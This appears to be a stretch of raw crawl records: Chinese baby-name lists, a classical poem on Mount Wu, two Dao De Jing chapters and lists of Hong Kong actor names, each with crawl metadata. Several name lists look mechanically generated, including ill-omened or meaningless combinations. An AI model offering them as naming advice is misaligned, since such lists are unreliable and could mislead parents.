夏茵淙 夏扯蓰 夏尚政 夏子召 夏侯酲 夏仪诺 夏日宇 夏玮业 夏雪弘 夏教顺 夏嘉辰 夏尧杰 夏秀蝶 夏平洪 夏汶均 夏嘉聿 夏琪栋 夏岩佑 夏菀皎 夏王草 夏国荣 夏奕越 夏宾斌 夏洪影 夏缨穗 夏德韶 夏卉睫 夏周钰 夏沅妃 夏银章 夏锐皓 夏悠鱼 夏银庆 夏光樱 夏闵轩 夏扬平 夏玉琰 夏划一 夏友升 夏居宜 夏宜平 夏壮合 夏咸杰 夏似憬 夏嘉利 夏真澄 夏沁琰 夏见记 夏鼎疯 夏锦诗 夏榆平 夏芮峥 夏优仪 夏谷炀 夏裕明 夏冶莼 夏山斌 夏璐蓓 夏叶烈 夏梓伶 夏锐宇 夏王金 夏炜南 夏薄一 夏致均 夏楚桀 夏侯贲 夏世帆 夏秩绑 夏博章 夏青歆 夏安栩 夏种人 夏恣 夏宝棂 夏召 夏璐旋 夏枵锋 夏卫嘉 夏尚弘 夏定兴 夏山彩 夏羽春 夏榆蕉 夏颜岩 夏皓矗 夏殒 夏同宽 夏荷缵 夏其波 夏弘晋 夏正瀛 夏凝沙 夏柳光 夏町亚 夏佳明 夏铭溶 夏铭德 夏岩科 夏梓闻 夏思铜 夏亘季 夏宇铎 夏澍昱 夏成印 夏克道 夏松炜 夏江鸿 夏灼洋 夏英淑 夏硕硕 夏海虎 夏贤冰 夏炎庚 夏锦硕 夏缨鞅 夏坤嵘 夏颂朱 夏巳透 夏娴蕙 夏炜巍 夏蜒争 夏巽熄 夏任任 夏久智 夏晶意 夏求吉 夏钟蔚 夏守杏 夏一沂 夏古昊 夏中喜 夏开易 夏宜尚 夏喜娴 夏佑唐 夏安安 夏奕逍 夏靖轩 夏脂 夏昌玄 夏成桥 夏涣洹 夏晓光 夏文荫 夏楠博 夏礼奕 夏苑昊 夏贝青 夏小戎 夏觉渝 夏丁艺 夏树晨 夏芮西 夏为帅 夏乐嘉 夏睿铵 夏镜心 夏量恋 夏钰广 夏越朗 夏相显 夏岱尚 夏昕雨 夏昊慷 夏峻宏 夏蒂奈 夏平选 夏严钦 夏侯娈 夏佳正 夏宝豪 夏任毅 夏左轮 夏玄宗 夏宇煊 夏麒莺 夏法东 夏瑜朋 夏田为 夏武衿 夏光鹦 夏桥兴 夏未尘 夏曼甄 夏弘胜 夏红理 夏崇蚺 夏钊兰 夏尚朋 夏宁忆 夏珍芝 夏苑炜 夏思摞 夏范章 夏祉漾 夏培宜 夏裕栋 夏芷越 夏涵程 夏龙吟 夏文轩 夏白凡 夏强松 夏琼群 夏诗芮 夏玫谊 夏侯天 夏学肃 夏畅忆 夏青聪 夏侯然 夏译敏 夏祉溢 夏夕鹤 夏白璞 夏甲愉 夏旭影 夏双滔 夏川哲 夏帅岩 夏贞冰 夏酌汝 夏德恒 夏静莞 夏廷珊 夏馨博 夏睿靖 夏浩原 夏建羲 夏祉惺 夏家霁 夏裕宝 夏向如 夏敬榆 夏亦俊 夏帅至 夏若奇 夏贵岭 夏社宜 夏侯砾 夏炫茗 夏佩帆 夏振类 夏朋阳 夏昊永 夏泽农 夏健雄 夏吉誉 夏雨沛 夏颖昕 夏青佑 夏睿驰 夏眚苍 夏佩仕 夏琢鞅 夏贝琪 夏国灏 夏艳鸽 夏川钦 夏树戈 夏兆专 夏敬义 夏团豪 夏竟舟 夏烁清 夏女雯 夏存涵 夏思尘 夏柘宝 夏聪钰 夏春栩 夏芷园 夏世锦 夏夫桂 夏灏东 夏誓逸 夏章宝 夏玄廷 夏叶韶 夏昌世 夏叶实 夏国融 夏宴兆 夏睿伯 夏侯化 夏语涵 夏宝晖 夏坷凡 夏侯坷 夏利健 夏荣健 夏群生 夏金书 夏计仙 夏计洵 夏承璀 夏佩彤 夏裔婕 夏侯茔 夏奕中 夏惠浈 夏晟彤 夏佩玮 夏邦兰 夏龙飞 夏光缨 夏畦良 夏岚沣 夏汇金 夏绮佩 夏祉溱 夏浴洋 夏鄞遥 夏颉晁 夏绪维 夏亮鸿 夏达青 夏忻蝉 夏苑棋 夏贤高 夏和关 夏侯榄 夏芯恩 夏岚润 夏云锦 夏宝柘 夏鹏臣 夏跃力 夏昊宏 夏小鼎 夏铠帆 夏林鸽 夏致搏 夏柯婕 夏勉坜 夏蕊歌 夏昌烁 夏明显 夏侯潋 夏旨黎 夏炜和 夏尧寒 夏翎雀 夏吟骅 夏聿奚 夏文逊 夏振累 夏智奋 夏潇亮 夏弘宇 夏素蝶 夏璐孑 夏康维 夏贝然 夏亨溢 夏万昱 夏绪河 夏沂军 夏芷意 夏妙恬 夏誓磊 夏福浩 夏舍我 夏昀婢 夏劲翰 夏笍瀚 夏远鸿 夏云齐 夏政毅 夏历军 夏奕辰 夏卿儒 夏森竦 夏岳慷 夏生广 夏智才 夏贺阳 夏合光 夏扣华 夏田格 夏靖棋 夏侯迈 夏耿炜 夏新翼 夏睿乐 夏安波 夏炜焱 夏荣鹏 夏启晟 夏存修 夏福熙 夏际威 夏磬苹 夏棕玫 夏绍福 夏华韵 夏炜滢 夏冈沂 夏诚越 夏书颍 夏任凯 夏继灵 夏附阵 夏丁方 夏祥任 夏师雯 夏久云 夏博寒 夏舒心 夏侯庸 夏侯哓 夏如立 夏侯校 夏元洪 夏虹熠 夏翔原 夏岩郎 夏翔昊 夏振垒\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nanhaiqiming\/342.html","date":"2019-12-06T16:22:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540488870.33\/warc\/CC-MAIN-20191206145958-20191206173958-00097.warc.gz","language":"lzh","language_score":0.9856011868,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9856011867523193, \"nan_Hani_score\": 0.01196358259767294}","num_words":853,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"巫山賦\n過瞿唐之長江兮,蔚巫山之嵯峨。雲孤興其勃勃兮,北風慨其揚波。山嶔而直上兮,越至神女之所家。峰連屬以十二兮,其九可見而三不知。蹊遂蕪滅而不可陟兮,玄猿黃鵠四顧而鳴悲。覽松柏之青青兮,紛其若江上之菰蒲。維其大之不可知兮,有橈雲之修柯。蔓草蒙茸以下翳兮,飛泉潔清而無沙。亭亭孤峰其下叢木交錯而不明兮,若有美人慘然而長嗟。斂手危立以右顧兮,舒目遠望恍然而有所懷。嚴峨峨其有禮兮,盛服寂寞而無嘩。臨萬仞之絕險兮,獨立千載而不下。顛追懷楚襄之放意肆志兮,溯江千里而遠來。離國去俗兮,徘徊而不能歸。悲神女之不可以朝求而夕見兮,想遊步之逶遲。築陽臺於江干兮,相氛氣之參差。惟神女之不可以求得兮,此其所以為神。湛洋洋其無心兮,豈其猶有懷乎世之人。朝雲尉其晨興兮,暮雨紛以下注。變化倏忽不可測兮,俄為鳥而騰去。忽然而為人兮,佩玉鏘以琅琅。愛江流之清波兮,安燕處乎高唐。彼蛟龍之多智兮,尚不可執以罝罦。高丘深其蒼蒼兮,恍誰識其有無。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%B7%AB%E5%B1%B1%E8%B3%A6","date":"2020-01-29T07:43:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251789055.93\/warc\/CC-MAIN-20200129071944-20200129101944-00423.warc.gz","language":"lzh","language_score":0.7730766535,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7730766534805298, \"nan_Hani_score\": 0.047479525208473206, \"cmn_Hani_score\": 0.04401612654328346, \"zxx_Latn_score\": 0.023712625727057457, \"und_Tang_score\": 0.01883010007441044}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.341,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n邓楷续 邓琨续 邓楚续 邓业续 邓鼎续 邓圣续 邓颂续 邓熙续 邓禄续 邓旸续 邓炀续 邓敬续 邓义续 邓传续 邓新怀 邓煦怀 邓雷怀 邓晖怀 邓楷怀 邓琨怀 邓楚怀 邓业怀 邓鼎怀 邓圣怀 邓颂怀 邓熙怀 邓禄怀 邓旸怀 邓炀怀 邓敬怀 邓义怀 邓传怀 邓人升 邓人月 邓人匀 邓人方 邓人木 邓人公 邓人介 邓人予 邓人太 邓人水 邓人斗 邓人火 邓人夫 邓又中 邓又天 邓又元 邓又心 邓又戈 邓又仁 邓又少 邓又升 邓又月 邓又匀 邓又友 邓又方 邓又木 邓又公 邓又介 邓又予 邓又太 邓又水 邓又斗 邓又火 邓又夫 邓力嫣 邓力菲 邓力翠 邓力瑛 邓力萃 邓力华 邓力绮 邓力瑗 邓力玮 邓力瑞 邓力宁 邓力毓 邓力语 邓力祯 邓力瑞 邓力银 邓力荣 邓力珲 邓力畅 邓力维 邓乃嫣 邓乃菲 邓乃翠 邓力天 邓乃中 邓又文 邓人友 邓力升 邓乃元 邓又丹 邓乃文 邓力中 邓力文 邓力元 邓力心 邓力丹 邓力戈 邓力仁 邓乃瑛 邓乃萃 邓乃华 邓乃绮 邓乃瑗 邓乃玮 邓乃瑞 邓乃宁 邓乃毓 邓又瑞 邓又银 邓又荣 邓又珲 邓雄匀 邓森匀 邓淇匀 邓云匀 邓顺匀 邓童匀 邓淼匀 邓雁友 邓淑友 邓渊友 邓富友 邓茹友 邓喜友 邓杰友 邓钦友 邓翔友 邓舜友 邓尧友 邓凯友 邓然友 邓超友 邓轶友 邓斐友 邓哲友 邓栋友 邓越友 邓盛友 邓雄友 邓森友 邓森中 邓淇中 邓云中 邓又畅 邓又维 邓雁天 邓淑天 邓渊天 邓富天 邓茹天 邓喜天 邓杰天 邓钦天 邓翔天 邓舜天 邓尧天 邓凯天 邓然天 邓超天 邓轶天 邓斐天 邓哲天 邓栋天 邓越天 邓盛天 邓雄天 邓森天 邓淇天 邓云天 邓顺天 邓童天 邓淼天 邓雁中 邓淑中 邓渊中 邓富中 邓茹中 邓喜中 邓杰中 邓钦中 邓翔中 邓舜中 邓尧中 邓凯中 邓然中 邓超中 邓轶中 邓斐中 邓哲中 邓栋中 邓越中 邓盛中 邓雄中 邓淼心 邓雁丹 邓淑丹 邓渊丹 邓富丹 邓茹丹 邓喜丹 邓杰丹 邓钦丹 邓翔丹 邓舜丹 邓尧丹 邓凯丹 邓然丹 邓超丹 邓轶丹 邓斐丹 邓哲丹 邓栋丹 邓越丹 邓盛丹 邓雄丹 邓森丹 邓淇丹 邓云丹 邓顺丹 邓童丹 邓淼丹 邓雁戈 邓淑戈 邓渊戈 邓富戈 邓茹戈 邓喜戈 邓杰戈 邓钦戈 邓翔戈 邓舜戈 邓尧戈 邓凯戈 邓然戈 邓超戈 邓轶戈 邓斐戈 邓哲戈 邓栋戈 邓越戈 邓盛戈 邓雄戈 邓森戈 邓淇戈 邓云戈 邓顺戈 邓童戈 邓淼戈 邓雁仁 邓淑仁 邓渊仁 邓富仁 邓茹仁 邓喜仁 邓杰仁 邓钦仁 邓翔仁 邓舜仁 邓尧仁 邓凯仁 邓然仁 邓超仁 邓轶仁 邓斐仁 邓哲仁 邓栋仁 邓越仁 邓盛仁 邓雄仁 邓森仁 邓淇仁 邓云仁 邓顺仁 邓童仁 邓又华 邓又绮 邓又瑗 邓又玮 邓又瑞 邓又宁 邓又毓 邓又语 邓又祯 邓业阐 邓鼎阐 邓圣阐 邓颂阐 邓熙阐 邓禄阐 邓旸阐 邓炀阐 邓敬阐 邓义阐 邓传阐 邓新议 邓煦议 邓雷议 邓晖议 邓楷议 邓琨议 邓楚议 邓业议 邓鼎议 邓圣议 邓颂议 邓熙议 邓禄议 邓旸议 邓炀议 邓敬议 邓义议 邓传议 邓新严 邓煦严 邓雷严 邓晖严 邓楷严 邓琨严 邓楚严 邓业严 邓鼎严 邓淼仁 邓雁少 邓淑少 邓渊少 邓富少 邓茹少 邓喜少 邓杰少 邓钦少 邓翔少 邓舜少 邓尧少 邓凯少 邓然少 邓超少 邓轶少 邓斐少 邓哲少 邓栋少 邓越少 邓盛少 邓雄少 邓森少 邓淇少 邓云少 邓顺少 邓童少 邓淼少 邓雁升 邓淑升 邓渊升 邓富升 邓茹升 邓喜升 邓杰升 邓钦升 邓翔升 邓舜升 邓尧升 邓凯升 邓然升 邓超升 邓轶升 邓斐升 邓哲升 邓栋升 邓越升 邓盛升 邓雄升 邓森升 邓淇升 邓云升 邓顺升 邓童升 邓淼升 邓雁月 邓淑月 邓渊月 邓富月 邓茹月 邓喜月 邓杰月 邓钦月 邓翔月 邓舜月 邓尧月 邓凯月 邓然月 邓超月 邓轶月 邓斐月 邓哲月 邓栋月 邓越月 邓盛月 邓雄月 邓森月 邓楚阐 邓乃语 邓乃祯 邓乃瑞 邓乃银 邓乃荣 邓乃珲 邓乃畅 邓乃维 邓人嫣 邓人菲 邓人翠 邓人瑛 邓圣严 邓森心 邓淇心 邓云心 邓顺心 邓童心 邓新飘 邓煦飘 邓雷飘 邓晖飘 邓楷飘 邓琨飘 邓楚飘 邓业飘 邓鼎飘 邓圣飘 邓颂飘 邓熙飘 邓禄飘 邓旸飘 邓炀飘 邓敬飘 邓义飘 邓力少 邓力月 邓力匀 邓力友 邓力方 邓力木 邓力公 邓力介 邓力予 邓力太 邓力水 邓力斗 邓力火 邓力夫 邓乃天 邓乃心 邓乃丹 邓乃戈 邓乃仁 邓乃少 邓乃升 邓乃月 邓乃匀 邓乃友 邓乃方 邓新译 邓煦译 邓雷译 邓晖译 邓楷译 邓琨译 邓楚译 邓业译 邓鼎译 邓圣译 邓颂译 邓熙译 邓禄译 邓旸译 邓炀译 邓敬译 邓义译 邓传译 邓新继 邓煦继 邓雷继 邓晖继 邓楷继 邓琨继 邓楚继 邓业继 邓鼎继 邓圣继 邓颂继 邓熙继 邓禄继 邓旸继 邓炀继 邓敬继 邓义继 邓传继 邓新觉 邓煦觉 邓雷觉 邓晖觉 邓楷觉 邓琨觉 邓楚觉 邓业觉 邓鼎觉 邓圣觉 邓楚释 邓业释 邓鼎释 邓圣释 邓颂释 邓熙释 邓禄释 邓旸释 邓炀释 邓敬释 邓义释 邓传释 邓新警 邓煦警 邓雷警 邓晖警 邓楷警 邓顺中 邓童中 邓淼中 邓雁文 邓淑文 邓渊文 邓富文 邓茹文 邓喜文 邓杰文 邓钦文 邓翔文 邓舜文 邓尧文 邓凯文 邓淇月 邓云月 邓顺月 邓童月 邓淼月 邓雁匀 邓淑匀 邓渊匀 邓富匀 邓茹匀 邓喜匀 邓杰匀 邓钦匀 邓翔匀 邓舜匀 邓尧匀 邓凯匀 邓然匀 邓超匀 邓轶匀 邓斐匀 邓哲匀 邓栋匀 邓越匀 邓盛匀 邓淇友 邓云友 邓顺友 邓童友 邓淼友 邓雁方 邓淑方 邓渊方 邓富方 邓茹方 邓喜方 邓杰方 邓钦方 邓翔方 邓舜方 邓尧方 邓凯方 邓然方 邓超方 邓轶方 邓斐方 邓哲方 邓栋方 邓越方 邓盛方 邓雄方 邓森方 邓淇方 邓云方 邓顺方 邓童方 邓淼方 邓雁木 邓淑木 邓渊木 邓富木 邓茹木 邓喜木 邓杰木 邓钦木 邓翔木 邓舜木 邓尧木 邓凯木 邓然木 邓超木 邓轶木 邓斐木 邓哲木 邓栋木 邓越木 邓盛木 邓雄木 邓森木 邓淇木 邓云木 邓顺木 邓童木 邓淼木 邓雁公 邓淑公 邓渊公 邓富公 邓茹公 邓喜公 邓杰公 邓钦公 邓翔公 邓舜公 邓尧公 邓凯公 邓然公 邓超公 邓轶公 邓斐公 邓哲公 邓栋公 邓越公 邓盛公 邓雄公 邓森公 邓淇公 邓云公 邓顺公 邓童公 邓淼公 邓雁介 邓淑介 邓渊介 邓富介 邓茹介 邓喜介 邓杰介 邓钦介 邓翔介 邓舜介 邓尧介 邓凯介 邓然介 邓超介 邓轶介 邓斐介 邓哲介 邓栋介 邓越介 邓盛介 邓雄介 邓森介 邓淇介 邓云介 邓顺介 邓童介 邓淼介 邓雁予 邓淑予 邓渊予 邓富予 邓茹予 邓喜予 邓杰予 邓钦予 邓翔予 邓舜予 邓尧予 邓凯予 邓然予 邓超予 邓轶予 邓斐予 邓哲予 邓栋予 邓越予 邓盛予 邓雄予 邓森予 邓淇予 邓云予 邓顺予 邓童予 邓淼予 邓玺鸿 邓传觉 邓新缤 邓煦缤 邓雷缤 邓晖缤 邓楷缤 邓传飘 邓新蓝 邓煦蓝 邓雷蓝 邓晖蓝 邓楷蓝 邓琨蓝 邓楚蓝 邓业蓝 邓鼎蓝 邓圣蓝 邓颂蓝 邓熙蓝 邓禄蓝 邓旸蓝 邓炀蓝 邓敬蓝 邓义蓝 邓传蓝 邓新献 邓煦献 邓雷献 邓晖献 邓楷献 邓琨献 邓楚献 邓业献 邓鼎献 邓圣献 邓颂献 邓熙献 邓禄献 邓旸献 邓炀献 邓敬献 邓义献 邓传献 邓新释 邓煦释 邓雷释 邓晖释 邓楷释 邓琨释 邓又翠 邓又瑛 邓又萃 邓炀党 邓敬党 邓义党 邓传党 邓新阐 邓煦阐 邓雷阐 邓晖阐 邓楷阐 邓琨缤 邓楚缤 邓业缤 邓鼎缤 邓圣缤 邓颂缤 邓熙缤 邓禄缤 邓旸缤 邓炀缤 邓敬缤 邓义缤 邓传缤 邓乃木 邓乃公 邓乃介 邓乃予 邓乃太 邓乃水 邓乃斗 邓乃火 邓乃夫 邓人中 邓人天 邓人文 邓人元 邓人心 邓人丹 邓人戈 邓人仁 邓人少 邓熙严 邓禄严 邓旸严 邓炀严 邓敬严 邓义严 邓传严 邓新续 邓煦续 邓雷续 邓晖续 邓玺阳 邓玺灿 邓玺玑 邓玺绩 邓玺禧 邓玺骏 邓玺远 邓玺聪 邓玺遥 邓琏鸿 邓琏阳 邓琏玑 邓琏绩 邓琏禧 邓琏骏 邓琏远 邓琏聪 邓琏遥 邓麒阳 邓麒灿 邓麒玑 邓麒绩 邓麒禧 邓麒远 邓麒聪 邓麒遥 邓赞泽 邓赞鸿 邓赞阳 邓然文 邓超文 邓轶文 邓斐文 邓哲文 邓栋文 邓越文 邓盛文 邓雄文 邓森文 邓淇文 邓云文 邓顺文 邓童文 邓淼文 邓雁元 邓赞灿 邓赞玑 邓赞禧 邓赞聪 邓赞遥 邓烁泽 邓烁鸿 邓烁阳 邓烁灿 邓烁玑 邓烁绩 邓烁禧 邓烁骏 邓烁聪 邓烁遥 邓攀阳 邓攀灿 邓攀玑 邓攀绩 邓攀禧 邓攀骏 邓攀聪 邓攀遥 邓琨阐 邓淑元 邓渊元 邓富元 邓茹元 邓喜元 邓杰元 邓钦元 邓翔元 邓舜元 邓尧元 邓凯元 邓然元 邓超元 邓轶元 邓斐元 邓哲元 邓栋元 邓越元 邓盛元 邓雄元 邓森元 邓淇元 邓云元 邓顺元 邓童元 邓淼元 邓雁心 邓淑心 邓渊心 邓富心 邓茹心 邓喜心 邓杰心 邓钦心 邓翔心 邓舜心 邓尧心 邓凯心 邓然心 邓超心 邓轶心 邓斐心 邓哲心 邓栋心 邓越心 邓盛心 邓雄心 邓琨警 邓楚警 邓业警 邓鼎警 邓圣警 邓颂警 邓熙警 邓禄警 邓旸警 邓炀警 邓敬警 邓义警 邓传警 邓新党 邓煦党 邓雷党 邓晖党 邓楷党 邓琨党 邓楚党 邓业党 邓鼎党 邓圣党 邓颂党 邓熙党 邓禄党 邓旸党 邓人萃 邓人华 邓人绮 邓人瑗 邓人玮 邓人瑞 邓人宁 邓人毓 邓人语 邓人祯 邓人瑞 邓人银 邓人荣 邓人珲 邓人畅 邓人维 邓又嫣 邓又菲 邓颂觉 邓熙觉 邓禄觉 邓旸觉 邓炀觉 邓敬觉 邓义觉 望采纳!","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.any58.com\/pujingyulechangapp\/2019\/1010\/22.html","date":"2020-02-22T12:56:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145676.44\/warc\/CC-MAIN-20200222115524-20200222145524-00501.warc.gz","language":"lzh","language_score":0.5541939735,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.5541939735412598, \"cmn_Hani_score\": 0.2961057126522064, \"nan_Hani_score\": 0.05510643497109413, \"wuu_Hani_score\": 0.030911024659872055, \"yue_Hani_score\": 0.026523983106017113, \"und_Lepc_score\": 0.013270968571305275}","num_words":982,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.556,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n何欣莹 何雄英 何细妹 何光玲 何怡翊 何春娟 何星洁 何清玉 何依倩 何宜倩 何胜红 何子悦 何倩儒 何景霞 何孟颖 何松燕 何登文 何尚文 何正妍 何燕娥 何鸿玲 何鸿琳 何洪玲 何淑萍 何妍霏 何瑞娟 何心洁 何芬妮 何怡紫 何薪颖 何希玲 何沁雪 何铭妍 何水红 何婵媛 何邹婷 何忻婵 何沁妍 何馨妍 何宇悦 何桃英 何诗倩 何忻妍 何昕玲 何燕湘 何安娟 何爱萍 何琳芝 何洳洁 何巧红 何振芳 何岚芳 何怡宁 何执妹 何怡菲 何茱莹 何玲艳 何眉婵 何朝花 何菲娜 何姿芳 何莹颖 何雨莹 何沐妍 何燕跟 何士美 何宏倩 何秀娥 何岳梅 何曼丽 何富霞 何夏琴 何侠琴 何霞琴 何玉艳 何腾芳 何田芳 何静燕 何凤艳 何怡昕 何益丽 何秀妹 何素梅 何慕玲 何雪艳 何帛霞 何如芳 何倩芳 何杏芳 何利梅 何妍学 何瑞婧 何芝芬 何苗丽 何皓琳 何婧斯 何登英 何梓文 何俞莹 何伟玲 何琼英 何委玲 何赛英 何凤芳 何贞婷 何瑛南 何凤颖 何志花 何依娜 何抒琴 何曼玲 何桂美 何梅娟 何瑛楠 何秀昕 何逸萍 何道文 何梨萍 何宇洁 何柏红 何成英 何瑜悦 何沛玉 何沛芳 何春莹 何秀璇 何培颖 何科婷 何宣玲 何庆红 何熙媛 何进红 何家媛 何家丽 何芬芳 何牧霞 何家妹 何水媛 何天媛 何香蓉 何欣霞 何月雪 何天琴 何韦丽 何怡歆 何怡鑫 何琳媛 何娜煊 何小怡 何媛烨 何明秀 何嫣芸 何霞玲 何怡影 何怡蕊 何一嫣 何秀霞 何瑶希 何瑶熙 何悦茹 何子瑶 何婉玉 何怡蓓 何威娜 何光红 何娇丽 何舜英 何圣雪 何必文 何起燕 何玲飞 何沛霞 何俊燕 何震英 何宛蓉 何韩燕 何悦阳 何龙雪 何风艳 何娜烨 何景琳 何嘉茹 何怡芬 何忠芳 何俊颖 何艺婷 何亦婷 何勇芬 何富英 何子萍 何砺文 何砺英 何诗瑶 何妮蓉 何业丽 何瑞芬 何芬贤 何金倩 何志美 何林玉 何黎雪 何莹翼 何爨瑶 何琼琼 何天英 何九琳 何九玲 何鸿琴 何洪琴 何洪琳 何友娟 何小娥 何银梅 何琳鑫 何琳芯 何琳星 何冠美 何冠英 何郴艳 何怡贤 何梦燕 何林倩 何卫芳 何淑娥 何杰文 何沁怡 何媛莉 何松霞 何胤莹 何国琼 何盈芳 何佩燕 何蓉晖 何铨芳 何家莉 何云美 何洪娟 何宏娟 何雪洁 何倩芹 何锟英 何琨英 何昆英 何坤瑛 何坤英 何聚萍 何萍聚 何煜萍 何洪冉 何琳珍 何蓉娣 何碧丽 何晚霞 何国瑛 何风英 何海琴 何松洁 何尹冉 何荣美 何祝媛 何其颖 何清怡 何古秀 何雨蓉 何颖颖 何婷慧 何畹婷 何宛婷 何蓉慧 何香悦 何相悦 何灵英 何焕冉 何方丽 何芳丽 何燕珍 何影丽 何影美 何水妹 何盈莹 何灵芬 何健莹 何林英 何灵婷 何灵嫣 何忠丽 何灵婧 何灵琼 何灵霞 何灵媛 何灵燕 何秀葙 何秀乡 何义红 何灵艳 何秀湘 何秀香 何秀芗 何悦芗 何悦襄","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.xn--fiq7v14hi6af85cewy9qd.com\/show_Q00.aspx","date":"2020-04-01T20:42:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370506121.24\/warc\/CC-MAIN-20200401192839-20200401222839-00416.warc.gz","language":"lzh","language_score":0.9987562895,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.9987562894821167}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第七十六章\n人之生也柔弱,其死也堅強。萬物草木之生也柔脆,其死也枯槁。故堅強者死之徒,柔弱者生之徒。是以兵強則不勝,木強則兵。強大處下,柔弱處上。\n第七十七章\n天之道,其猶張弓與!高者抑之,下者舉之;有餘者損之,不足者補之。天之道,損有餘而補不足;人之道,則不然,損不足以奉有餘。孰能有餘以奉天下?唯有道者。是以聖人為而不恃,功成而不處,其不欲見賢也。","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/zensoul.org\/%E7%B6%B2%E8%B7%AF%E8%AC%9B%E7%B6%93\/%E7%B7%9A%E4%B8%8A%E8%81%BD%E8%AC%9B\/%E9%81%93%E5%BE%B7%E7%B6%93\/item\/1455-%E9%81%93%E5%BE%B7%E7%B6%93-%28-38-%29-95.11.17-%E4%B8%8A.html","date":"2020-07-13T08:19:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657143354.77\/warc\/CC-MAIN-20200713064946-20200713094946-00387.warc.gz","language":"lzh","language_score":0.4675378799,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.46753787994384766, \"cmn_Hani_score\": 0.4662662148475647, \"nan_Hani_score\": 0.041404351592063904, \"yue_Hani_score\": 0.014375142753124237}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.713,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 